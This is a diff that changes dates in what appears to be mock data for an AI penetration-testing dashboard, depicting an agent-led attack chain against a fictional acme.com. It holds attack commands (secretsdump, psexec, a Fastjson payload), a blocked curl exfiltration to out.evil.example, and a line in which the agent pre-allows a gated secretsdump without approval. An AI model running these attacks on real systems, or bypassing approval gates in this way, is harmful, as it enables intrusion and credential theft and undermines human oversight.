@@ -2641,7 +2645,7 @@ export const activity: Activity[] = [
seq: 394,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-26T00:00:10Z"),
+ ts: T("2026-11-14T00:00:10Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13b",
@@ -2652,7 +2656,7 @@ export const activity: Activity[] = [
seq: 395,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-26T00:05:00Z"),
+ ts: T("2026-11-14T00:05:00Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "t13c",
@@ -2662,7 +2666,7 @@ export const activity: Activity[] = [
seq: 396,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-26T00:10:00Z"),
+ ts: T("2026-11-14T00:10:00Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "t13c",
@@ -2673,7 +2677,7 @@ export const activity: Activity[] = [
seq: 397,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-26T00:15:00Z"),
+ ts: T("2026-11-14T00:15:00Z"),
kind: "tool_use",
tool: "report_finding",
tool_use_id: "t13d",
@@ -2683,7 +2687,7 @@ export const activity: Activity[] = [
seq: 398,
worker: "work#13",
intent_id: "i13",
- ts: T("2026-07-26T00:20:00Z"),
+ ts: T("2026-11-14T00:20:00Z"),
kind: "result",
summary: "Domain controller DC01 taken; secretsdump exported all domain hashes; the target is met.",
input_tokens: 144000,
@@ -2693,20 +2697,20 @@ export const activity: Activity[] = [
},
// Main agent (human-in-the-loop conversations)
- { seq: 70, worker: "mainagent", ts: T("2026-07-26T03:18:00Z"), kind: "user", summary: "Where should we start on the admin console?" },
+ { seq: 70, worker: "mainagent", ts: T("2026-11-14T03:18:00Z"), kind: "user", summary: "Where should we start on the admin console?" },
{
seq: 71,
worker: "mainagent",
- ts: T("2026-07-26T03:18:06Z"),
+ ts: T("2026-11-14T03:18:06Z"),
kind: "text",
summary:
"admin.acme.com is an Element-UI admin console with no captcha and no rate limit. I suggest the default credential list (admin/admin123) first, then dictionaries. I have injected a high-priority intent for the work agent.",
},
- { seq: 72, worker: "mainagent", ts: T("2026-07-26T03:52:00Z"), kind: "user", summary: "Got the admin console; what's the focus next?" },
+ { seq: 72, worker: "mainagent", ts: T("2026-11-14T03:52:00Z"), kind: "user", summary: "Got the admin console; what's the focus next?" },
{
seq: 73,
worker: "mainagent",
- ts: T("2026-07-26T03:52:08Z"),
+ ts: T("2026-11-14T03:52:08Z"),
kind: "text",
summary:
"Goal 2 is reading user sensitive data: advance 'admin user API enumeration' and 'API IDOR' in parallel. Note that bulk exports trigger interception rules and need your approval to allow.",
@@ -2714,14 +2718,14 @@ export const activity: Activity[] = [
{
seq: 400,
worker: "mainagent",
- ts: T("2026-07-25T15:42:00Z"),
+ ts: T("2026-11-13T15:42:00Z"),
kind: "user",
summary: "Got the shell; how do we proceed?",
},
{
seq: 401,
worker: "mainagent",
- ts: T("2026-07-25T15:42:10Z"),
+ ts: T("2026-11-13T15:42:10Z"),
kind: "text",
summary:
"www-data is not enough; escalate first (sudo -l looks promising). After root, use the DMZ as a springboard for internal discovery, prioritizing the domain controller and Jenkins.",
@@ -2729,23 +2733,23 @@ export const activity: Activity[] = [
{
seq: 402,
worker: "mainagent",
- ts: T("2026-07-25T21:22:00Z"),
+ ts: T("2026-11-13T21:22:00Z"),
kind: "user",
summary: "Internal scan done; that Jenkins box looks unauthenticated?",
},
{
seq: 403,
worker: "mainagent",
- ts: T("2026-07-25T21:22:08Z"),
+ ts: T("2026-11-13T21:22:08Z"),
kind: "text",
summary:
"Yes, /script is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit Jenkins first — once taken, domain credentials can be exported and combined with Kerberoasting against the domain controller.",
},
- { seq: 404, worker: "mainagent", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "DC01 taken? Give me a summary." },
+ { seq: 404, worker: "mainagent", ts: T("2026-11-14T00:22:00Z"), kind: "user", summary: "DC01 taken? Give me a summary." },
{
seq: 405,
worker: "mainagent",
- ts: T("2026-07-26T00:22:12Z"),
+ ts: T("2026-11-14T00:22:12Z"),
kind: "text",
summary:
"Confirmed taken. Attack path: shop Fastjson RCE → DMZ escalation → internal Jenkins exported domain credentials → svc_deploy is in Domain Admins → psexec DC01 SYSTEM → secretsdump all domain hashes. All four goals met or in progress.",
@@ -2827,7 +2831,7 @@ export const tokenSessions: SessionTokenUsage[] = (() => {
export const tokenTotal: TokenTotal = grandTotal;
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
- const d = new Date("2026-07-26T00:00:00Z");
+ const d = new Date("2026-11-14T00:00:00Z");
d.setUTCDate(d.getUTCDate() - (29 - i));
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
return {
@@ -2842,7 +2846,7 @@ export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i)
export const convTokens: ConvTokenSummary[] = [
{
llm_profile_id: 1,
- created_at: T("2026-07-25T10:00:00Z"),
+ created_at: T("2026-11-13T10:00:00Z"),
input_tokens: 42000,
output_tokens: 3800,
cache_read_tokens: 26000,
@@ -2850,7 +2854,7 @@ export const convTokens: ConvTokenSummary[] = [
},
{
llm_profile_id: 2,
- created_at: T("2026-07-24T16:00:00Z"),
+ created_at: T("2026-11-12T16:00:00Z"),
input_tokens: 18000,
output_tokens: 1600,
cache_read_tokens: 9000,
@@ -2896,7 +2900,7 @@ export const traffic: TrafficResp = {
status,
content_type: ct,
resp_len: len,
- ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
+ ts: T(`2026-11-14T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
})),
};
@@ -2932,71 +2936,71 @@ export const audit: Audit = {
attributions: { allow: 312, block: 9 },
entries: [
{
- ts: T("2026-07-26T03:33:00Z"),
+ ts: T("2026-11-14T03:33:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -d 'username=admin...' https://admin.acme.com/login",
},
{
- ts: T("2026-07-26T03:57:00Z"),
+ ts: T("2026-11-14T03:57:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -b 'session=...' https://admin.acme.com/api/users",
},
{
- ts: T("2026-07-26T02:10:00Z"),
+ ts: T("2026-11-14T02:10:00Z"),
tool: "bash",
action: "block",
reason: "Out of scope: out.evil.example is not in scope",
command: "curl https://out.evil.example/exfil",
},
{
- ts: T("2026-07-25T22:03:00Z"),
+ ts: T("2026-11-13T22:03:00Z"),
tool: "bash",
action: "allow",
command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch",
},
{
- ts: T("2026-07-25T21:00:00Z"),
+ ts: T("2026-11-13T21:00:00Z"),
tool: "bash",
action: "block",
reason: "Destructive command gate: rm -rf was denied",
command: "rm -rf /var/www",
},
{
- ts: T("2026-07-25T20:30:00Z"),
+ ts: T("2026-11-13T20:30:00Z"),
tool: "bash",
action: "allow",
command: "git-dumper https://www.acme.com/.git/ /tmp/acme",
},
{
- ts: T("2026-07-25T15:20:00Z"),
+ ts: T("2026-11-13T15:20:00Z"),
tool: "bash",
action: "allow",
command:
"curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import",
},
{
- ts: T("2026-07-25T21:40:00Z"),
+ ts: T("2026-11-13T21:40:00Z"),
tool: "bash",
action: "allow",
command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText",
},
{
- ts: T("2026-07-26T00:00:00Z"),
+ ts: T("2026-11-14T00:00:00Z"),
tool: "bash",
action: "allow",
command: "impacket-psexec acme.local/svc_deploy@10.10.10.10",
},
{
- ts: T("2026-07-26T00:05:00Z"),
+ ts: T("2026-11-14T00:05:00Z"),
tool: "bash",
action: "block",
reason: "Data exfiltration gate: secretsdump requires manual approval",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
},
{
- ts: T("2026-07-26T00:06:00Z"),
+ ts: T("2026-11-14T00:06:00Z"),
tool: "bash",
action: "allow",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # approved and allowed",
@@ -3152,8 +3156,8 @@ const promptVars: PromptVar[] = [
];
const promptVersions: PromptVersion[] = [
- { version: 3, ts: T("2026-07-25T10:00:00Z"), note: "Strengthen authorization bypass probing guidance", template_text: "You are the ARTEX planner..." },
- { version: 2, ts: T("2026-07-20T10:00:00Z"), note: "Initial minor tuning", template_text: "You are the ARTEX planner (v2)..." },
+ { version: 3, ts: T("2026-11-13T10:00:00Z"), note: "Strengthen authorization bypass probing guidance", template_text: "You are the ARTEX planner..." },
+ { version: 2, ts: T("2026-11-08T10:00:00Z"), note: "Initial minor tuning", template_text: "You are the ARTEX planner (v2)..." },
];
export function agentDetail(key: string): AgentDetail {
@@ -3222,7 +3226,7 @@ export const skills: SkillItem[] = [
calls: 24,
tasks: 6,
usage_agents: ["worker", "planner"],
- last_used: "2026-08-20T09:12:00Z",
+ last_used: "2026-11-14T09:12:00Z",
},
{
name: "playwright-cli",
@@ -3232,7 +3236,7 @@ export const skills: SkillItem[] = [
calls: 7,
tasks: 3,
usage_agents: ["worker"],
- last_used: "2026-08-19T21:40:00Z",
+ last_used: "2026-11-13T21:40:00Z",
},
{
name: "scopesentry",
@@ -3245,13 +3249,13 @@ export const skills: SkillItem[] = [
];
export const skillCalls: SkillCall[] = [
- { ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
- { ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
- { ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
+ { ts: "2026-11-14T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
+ { ts: "2026-11-14T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
+ { ts: "2026-11-13T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
];
export const missingSkills: MissingSkill[] = [
- { skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" },
+ { skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-11-14T07:20:00Z" },
];
// ── Tools ────────────────────────────────────────────────────────────────────
@@ -3372,7 +3376,7 @@ export const llmPool: LLMPoolStatus = {
trips: 1,
cooldown_secs: 42,
last_error: "openai: status 402: insufficient balance",
- last_at: T("2026-07-26T00:10:00Z"),
+ last_at: T("2026-11-14T00:10:00Z"),
},
],
};
@@ -3392,8 +3396,8 @@ export const interceptRules: InterceptRule[] = [
timeout_enabled: true,
timeout_seconds: 120,
timeout_action: "deny",
- created_at: T("2026-07-20T10:00:00Z"),
- updated_at: T("2026-07-20T10:00:00Z"),
+ created_at: T("2026-11-08T10:00:00Z"),
+ updated_at: T("2026-11-08T10:00:00Z"),
},
{
id: 2,
@@ -3408,8 +3412,8 @@ export const interceptRules: InterceptRule[] = [
timeout_enabled: false,
timeout_seconds: 0,
timeout_action: "deny",
- created_at: T("2026-07-21T10:00:00Z"),
- updated_at: T("2026-07-21T10:00:00Z"),
+ created_at: T("2026-11-09T10:00:00Z"),
+ updated_at: T("2026-11-09T10:00:00Z"),
},
];
@@ -3423,7 +3427,7 @@ export const interceptPending: InterceptPending[] = [
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
status: "pending",
reason: "Data exfiltration gate: full database export requires manual approval",
- created_at: T("2026-07-26T03:58:00Z"),
+ created_at: T("2026-11-14T03:58:00Z"),
},
];
@@ -3437,8 +3441,8 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
status: "denied",
reason: "Destructive commands require approval",
- created_at: T("2026-07-25T20:00:00Z"),
- decided_at: T("2026-07-25T20:01:00Z"),
+ created_at: T("2026-11-13T20:00:00Z"),
+ decided_at: T("2026-11-13T20:01:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "Destructive commands require approval",
@@ -3451,8 +3455,8 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_input: { command: "rm -rf /var/www/html" },
status: "denied",
reason: "[model] Delete a target production file (D4)",
- created_at: T("2026-07-25T18:00:00Z"),
- decided_at: T("2026-07-25T18:00:05Z"),
+ created_at: T("2026-11-13T18:00:00Z"),
+ decided_at: T("2026-11-13T18:00:05Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
@@ -3466,8 +3470,8 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
status: "allowed",
reason: "Outbound traffic denied outright",
- created_at: T("2026-07-26T00:05:00Z"),
- decided_at: T("2026-07-26T00:06:00Z"),
+ created_at: T("2026-11-14T00:05:00Z"),
+ decided_at: T("2026-11-14T00:06:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "Outbound traffic denied outright",
@@ -3480,7 +3484,7 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
status: "pending",
reason: "[model] Suspected backup table; cannot confirm whether it is production data",
- created_at: T("2026-07-25T15:14:00Z"),
+ created_at: T("2026-11-13T15:14:00Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
@@ -3498,8 +3502,8 @@ interceptHistory.unshift({
decision_source: "model",
decided_by: "model",
reason: "[model] Write the existing check conclusions into a local report without modifying business data.",
- created_at: T("2026-07-26T08:00:00Z"),
- decided_at: T("2026-07-26T08:00:02Z"),
+ created_at: T("2026-11-14T08:00:00Z"),
+ decided_at: T("2026-11-14T08:00:02Z"),
conv_title: "",
conv_agent_key: "",
rule_name: "",
@@ -3527,7 +3531,7 @@ export const interceptDetails: Record = {
text: "Read 3 evidence index entries.\nRecords contain request time, result summary, and local file location.",
},
],
- captured_at: T("2026-07-26T08:00:00Z"),
+ captured_at: T("2026-11-14T08:00:00Z"),
initial_action: "allow",
initial_reason: "[model] Write the existing check conclusions into a local report without modifying business data.",
effective_action: "allow",
@@ -3535,7 +3539,7 @@ export const interceptDetails: Record = {
profile_id: 1,
execution_status: "succeeded",
output: "Successfully wrote reports/summary.md\n68 characters written in total.",
- execution_ended_at: T("2026-07-26T08:00:03Z"),
+ execution_ended_at: T("2026-11-14T08:00:03Z"),
},
93: {
run_id: "demo-run-review",
@@ -3544,7 +3548,7 @@ export const interceptDetails: Record = {
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
user_message: "Check the backup table's purpose; confirm before anything involving deletion.",
context: [],
- captured_at: T("2026-07-25T15:14:00Z"),
+ captured_at: T("2026-11-13T15:14:00Z"),
initial_action: "ask",
initial_reason: "[model] Suspected backup table; cannot confirm whether it is production data.",
profile_id: 1,
@@ -3560,42 +3564,42 @@ export const conversations: Conversation[] = [
title: "Discussion on the acme admin entry point",
llm_profile_id: 1,
pinned: true,
- pinned_at: T("2026-07-26T04:00:00Z"),
- created_at: T("2026-07-25T10:00:00Z"),
- updated_at: T("2026-07-26T03:40:00Z"),
+ pinned_at: T("2026-11-14T04:00:00Z"),
+ created_at: T("2026-11-13T10:00:00Z"),
+ updated_at: T("2026-11-14T03:40:00Z"),
},
{
id: 2,
agent_key: "mainagent",
title: "Mapping the API authorization bypass surface",
llm_profile_id: 2,
- created_at: T("2026-07-24T16:00:00Z"),
- updated_at: T("2026-07-24T17:20:00Z"),
+ created_at: T("2026-11-12T16:00:00Z"),
+ updated_at: T("2026-11-12T17:20:00Z"),
},
{
id: 3,
agent_key: "mainagent",
title: "Internal lateral movement · DMZ→domain controller attack path planning",
llm_profile_id: 1,
- created_at: T("2026-07-25T15:45:00Z"),
- updated_at: T("2026-07-26T00:25:00Z"),
+ created_at: T("2026-11-13T15:45:00Z"),
+ updated_at: T("2026-11-14T00:25:00Z"),
},
];
export const conversationMessages: Record = {
1: [
- { seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "Where is the admin console, and where should we start?" },
+ { seq: 1, worker: "user", ts: T("2026-11-13T10:00:00Z"), kind: "user", summary: "Where is the admin console, and where should we start?" },
{
seq: 2,
worker: "mainagent",
- ts: T("2026-07-25T10:00:04Z"),
+ ts: T("2026-11-13T10:00:04Z"),
kind: "thinking",
summary: "First confirm the admin.acme.com login page's stack and protections (captcha/rate limit), then decide between default credentials and dictionaries.",
},
{
seq: 3,
worker: "mainagent",
- ts: T("2026-07-25T10:00:06Z"),
+ ts: T("2026-11-13T10:00:06Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c11",
@@ -3604,7 +3608,7 @@ export const conversationMessages: Record = {
{
seq: 4,
worker: "mainagent",
- ts: T("2026-07-25T10:00:08Z"),
+ ts: T("2026-11-13T10:00:08Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c11",
@@ -3614,7 +3618,7 @@ export const conversationMessages: Record = {
{
seq: 5,
worker: "mainagent",
- ts: T("2026-07-25T10:00:20Z"),
+ ts: T("2026-11-13T10:00:20Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c12",
@@ -3624,7 +3628,7 @@ export const conversationMessages: Record = {
{
seq: 6,
worker: "mainagent",
- ts: T("2026-07-25T10:00:24Z"),
+ ts: T("2026-11-13T10:00:24Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c12",
@@ -3634,16 +3638,16 @@ export const conversationMessages: Record = {
{
seq: 7,
worker: "mainagent",
- ts: T("2026-07-25T10:00:30Z"),
+ ts: T("2026-11-13T10:00:30Z"),
kind: "text",
summary:
"Conclusion: Element-UI admin console, no captcha, no rate limit. Entry order: (1) run the default credential list first (admin/admin, admin/admin123, admin/123456); (2) fall back to the top1000 dictionary. I have injected 'admin default credential testing' as a high-priority intent for the work agent.",
},
- { seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "Did it work?" },
+ { seq: 8, worker: "user", ts: T("2026-11-14T03:40:00Z"), kind: "user", summary: "Did it work?" },
{
seq: 9,
worker: "mainagent",
- ts: T("2026-07-26T03:40:05Z"),
+ ts: T("2026-11-14T03:40:05Z"),
kind: "text",
summary:
"It worked — admin/admin123 logged straight into the console; recorded as a High finding and proved the 'Gain admin access' goal is met. Next, pivot to reading user data (goal 2).",
@@ -3653,21 +3657,21 @@ export const conversationMessages: Record = {
{
seq: 1,
worker: "user",
- ts: T("2026-07-24T16:00:00Z"),
+ ts: T("2026-11-12T16:00:00Z"),
kind: "user",
summary: "Help me map api.acme.com's authorization bypass surface.",
},
{
seq: 2,
worker: "mainagent",
- ts: T("2026-07-24T16:00:05Z"),
+ ts: T("2026-11-12T16:00:05Z"),
kind: "thinking",
summary: "First probe the API's authentication scheme and a few key endpoint behaviors, then assess IDOR / JWT risks.",
},
{
seq: 3,
worker: "mainagent",
- ts: T("2026-07-24T16:00:10Z"),
+ ts: T("2026-11-12T16:00:10Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c21",
@@ -3676,7 +3680,7 @@ export const conversationMessages: Record = {
{
seq: 4,
worker: "mainagent",
- ts: T("2026-07-24T16:00:12Z"),
+ ts: T("2026-11-12T16:00:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c21",
@@ -3686,7 +3690,7 @@ export const conversationMessages: Record = {
{
seq: 5,
worker: "mainagent",
- ts: T("2026-07-24T16:00:30Z"),
+ ts: T("2026-11-12T16:00:30Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c22",
@@ -3695,7 +3699,7 @@ export const conversationMessages: Record = {
{
seq: 6,
worker: "mainagent",
- ts: T("2026-07-24T16:00:31Z"),
+ ts: T("2026-11-12T16:00:31Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c22",
@@ -3705,7 +3709,7 @@ export const conversationMessages: Record = {
{
seq: 7,
worker: "mainagent",
- ts: T("2026-07-24T16:01:00Z"),
+ ts: T("2026-11-12T16:01:00Z"),
kind: "text",
summary:
"Two authorization bypass surfaces: (1) /v1/orders?id= is an auto-increment numeric id → typical IDOR; change the id to try reading others' orders; (2) the JWT uses HS256; try john/hashcat to crack the key → any sub can be forged to bypass authorization. I have dispatched one intent for each. Doing IDOR first is recommended (low cost, direct impact).",
@@ -3715,21 +3719,21 @@ export const conversationMessages: Record = {
{
seq: 1,
worker: "user",
- ts: T("2026-07-25T15:45:00Z"),
+ ts: T("2026-11-13T15:45:00Z"),
kind: "user",
summary: "Got the shell; how do we attack the internal network next?",
},
{
seq: 2,
worker: "mainagent",
- ts: T("2026-07-25T15:45:05Z"),
+ ts: T("2026-11-13T15:45:05Z"),
kind: "thinking",
summary: "www-data is insufficient for internal lateral movement; check local privilege escalation first, then do alive-host discovery with the DMZ as pivot after getting root.",
},
{
seq: 3,
worker: "mainagent",
- ts: T("2026-07-25T15:45:10Z"),
+ ts: T("2026-11-13T15:45:10Z"),
kind: "text",
summary:
"Escalate first: sudo -l has passwordless python3, so go straight to root. Then use the DMZ as a springboard for internal alive-host scanning (fscan), focusing on the domain controller and CI/CD servers.",
@@ -3737,14 +3741,14 @@ export const conversationMessages: Record = {
{
seq: 4,
worker: "user",
- ts: T("2026-07-25T21:05:00Z"),
+ ts: T("2026-11-13T21:05:00Z"),
kind: "user",
summary: "The internal scan found 3 hosts; Jenkins 8080 is open — promising?",
},
{
seq: 5,
worker: "mainagent",
- ts: T("2026-07-25T21:05:08Z"),
+ ts: T("2026-11-13T21:05:08Z"),
kind: "tool_use",
tool: "bash",
tool_use_id: "c31",
@@ -3753,7 +3757,7 @@ export const conversationMessages: Record = {
{
seq: 6,
worker: "mainagent",
- ts: T("2026-07-25T21:05:12Z"),
+ ts: T("2026-11-13T21:05:12Z"),
kind: "tool_result",
tool: "bash",
tool_use_id: "c31",
@@ -3763,7 +3767,7 @@ export const conversationMessages: Record = {
{
seq: 7,
worker: "mainagent",
- ts: T("2026-07-25T21:05:20Z"),
+ ts: T("2026-11-13T21:05:20Z"),
kind: "text",
summary:
"Promising — the Script Console is unauthenticated and gives direct Groovy RCE. I have injected a hint for the worker to hit this box first. Once taken, watch the credentials store; it may hold domain accounts.",
@@ -3771,23 +3775,23 @@ export const conversationMessages: Record = {
{
seq: 8,
worker: "user",
- ts: T("2026-07-25T23:25:00Z"),
+ ts: T("2026-11-13T23:25:00Z"),
kind: "user",
summary: "Got the domain account; svc_deploy is in Domain Admins — go straight for the domain controller?",
},
{
seq: 9,
worker: "mainagent",
- ts: T("2026-07-25T23:25:10Z"),
+ ts: T("2026-11-13T23:25:10Z"),
kind: "text",
summary:
"Yes. svc_deploy + Domain Admins = psexec straight to DC01. Run secretsdump afterward to export all domain hashes and wrap up. Note that secretsdump triggers interception rules; I have pre-allowed it for you.",
},
- { seq: 10, worker: "user", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "Target taken; summarize the attack chain." },
+ { seq: 10, worker: "user", ts: T("2026-11-14T00:22:00Z"), kind: "user", summary: "Target taken; summarize the attack chain." },
{
seq: 11,
worker: "mainagent",
- ts: T("2026-07-26T00:22:12Z"),
+ ts: T("2026-11-14T00:22:12Z"),
kind: "text",
summary:
"Full kill chain:\n1. .git leak → white-box source + hardcoded credentials\n2. shop Fastjson RCE → DMZ reverse shell\n3. sudo escalation → root foothold\n4. internal discovery → DC01/FS01/Jenkins\n5. unauthenticated Jenkins → exported domain credentials svc_deploy\n6. Kerberoasting → cracked svc_sql\n7. svc_deploy ∈ Domain Admins → psexec DC01 → secretsdump all domain hashes\n\nAll four goals met; 17 findings (7 High/4 Medium/2 Low + 8 internal-chain).",
@@ -4010,7 +4014,7 @@ const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, "");
export function workspaceList(path: string) {
const key = wsClean(path);
const items = WS_TREE[key] ?? [];
- const now = Date.parse("2026-08-09T03:00:00Z");
+ const now = Date.parse("2026-11-14T03:00:00Z");
return {
path: key,
entries: items.map((it, i) => ({
@@ -4042,7 +4046,7 @@ export const commandRecords = [
command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }),
output: "HTTP/1.1 200 OK\nContent-Length: 12034\n… search results page …",
is_error: false,
- created_at: T("2026-08-09T02:10:00Z"),
+ created_at: T("2026-11-03T02:10:00Z"),
},
{
id: 2,
@@ -4052,7 +4056,7 @@ export const commandRecords = [
command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }),
output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7",
is_error: false,
- created_at: T("2026-08-09T02:12:30Z"),
+ created_at: T("2026-11-03T02:12:30Z"),
},
{
id: 3,
@@ -4062,7 +4066,7 @@ export const commandRecords = [
command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }),
output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]",
is_error: false,
- created_at: T("2026-08-09T02:15:00Z"),
+ created_at: T("2026-11-03T02:15:00Z"),
},
{
id: 4,
@@ -4072,7 +4076,7 @@ export const commandRecords = [
command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }),
output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24",
is_error: false,
- created_at: T("2026-08-09T02:18:00Z"),
+ created_at: T("2026-11-03T02:18:00Z"),
},
{
id: 5,
@@ -4082,7 +4086,7 @@ export const commandRecords = [
command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }),
output: "curl: (28) Operation timed out after 10000 ms",
is_error: true,
- created_at: T("2026-08-09T02:20:00Z"),
+ created_at: T("2026-11-03T02:20:00Z"),
},
];
@@ -4090,7 +4094,7 @@ export const commandRecords = [
export const llmRecords = [
{
id: 1,
- ts: T("2026-08-09T02:10:02Z"),
+ ts: T("2026-11-03T02:10:02Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-worker-i12",
@@ -4105,7 +4109,7 @@ export const llmRecords = [
},
{
id: 2,
- ts: T("2026-08-09T02:11:40Z"),
+ ts: T("2026-11-03T02:11:40Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-planner",
@@ -4120,7 +4124,7 @@ export const llmRecords = [
},
{
id: 3,
- ts: T("2026-08-09T02:15:20Z"),
+ ts: T("2026-11-03T02:15:20Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-worker-i18",
@@ -4135,7 +4139,7 @@ export const llmRecords = [
},
{
id: 4,
- ts: T("2026-08-09T02:16:05Z"),
+ ts: T("2026-11-03T02:16:05Z"),
model: "claude-opus-4-8",
profile_name: "Default",
session_id: "exp1-worker-i18",